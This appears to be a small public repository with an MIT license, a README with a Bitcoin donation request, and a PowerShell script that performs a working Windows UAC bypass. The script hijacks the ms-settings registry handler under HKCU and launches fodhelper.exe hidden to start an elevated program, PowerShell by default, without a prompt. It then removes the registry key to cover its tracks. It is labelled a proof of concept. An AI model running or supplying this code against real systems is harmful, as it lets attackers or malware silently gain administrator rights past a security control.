├── FodhelperBypass.ps1
├── LICENSE
└── README.md


/FodhelperBypass.ps1:
--------------------------------------------------------------------------------
 1 | <#
 2 | .SYNOPSIS  
 3 |     This script is a proof of concept to bypass the User Access Control (UAC) via fodhelper.exe
 4 | 
 5 |     It creates a new registry structure in: "HKCU:\Software\Classes\ms-settings\" to perform an UAC bypass to start any application. 
 6 |     
 7 |     ATTENTION: Do not try this on your productive machine! 
 8 | 
 9 | 
10 | .NOTES  
11 |     Function   : FodhelperBypass
12 |     File Name  : FodhelperBypass.ps1 
13 |     Author     : Christian B. - winscripting.blog 
14 | 
15 | 
16 | .LINK  
17 |         
18 |     https://github.com/winscripting/UAC-bypass
19 | 
20 | .EXAMPLE  
21 | 
22 |      Load "cmd.exe /c powershell.exe" (it's default):
23 |      FodhelperBypass 
24 | 
25 |      Load specific application:
26 |      FodhelperBypass -program "cmd.exe"
27 |      FodhelperBypass -program "cmd.exe /c powershell.exe"
28 |      
29 | 
30 | #>
31 | 
32 | function FodhelperBypass(){ 
33 |  Param (
34 |            
35 |         [String]$program = "cmd /c start powershell.exe" #default
36 |        )
37 | 
38 |     #Create registry structure
39 |     New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
40 |     New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
41 |     Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force
42 | 
43 |     #Perform the bypass
44 |     Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
45 | 
46 |     #Remove registry structure
47 |     Start-Sleep 3
48 |     Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
49 | 
50 | }
51 | 
52 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
 1 | MIT License
 2 | 
 3 | Copyright (c) 2017 winscripting.blog
 4 | 
 5 | Permission is hereby granted, free of charge, to any person obtaining a copy
 6 | of this software and associated documentation files (the "Software"), to deal
 7 | in the Software without restriction, including without limitation the rights
 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 | 
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 | 
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # UAC-bypass
 2 | 
 3 | 
 4 | **Please note:** It is a Proof of Concept and is not intended for illegal usage!
 5 | 
 6 |   Visit my website:
 7 | https://winscripting.blog/
 8 | 
 9 | 
10 | Please donate to this Bitcoin address if you find this PoC helpful:
11 |  **12WN3fHmr5EB2Y5cDbKAgTDYMo5d1b1AUu**
12 |  
13 |  
14 | ![alt text](https://i1.wp.com/winscriptingblog.files.wordpress.com/2017/05/bitcoinqr.png "Please donate Bitcoins")
15 | 


--------------------------------------------------------------------------------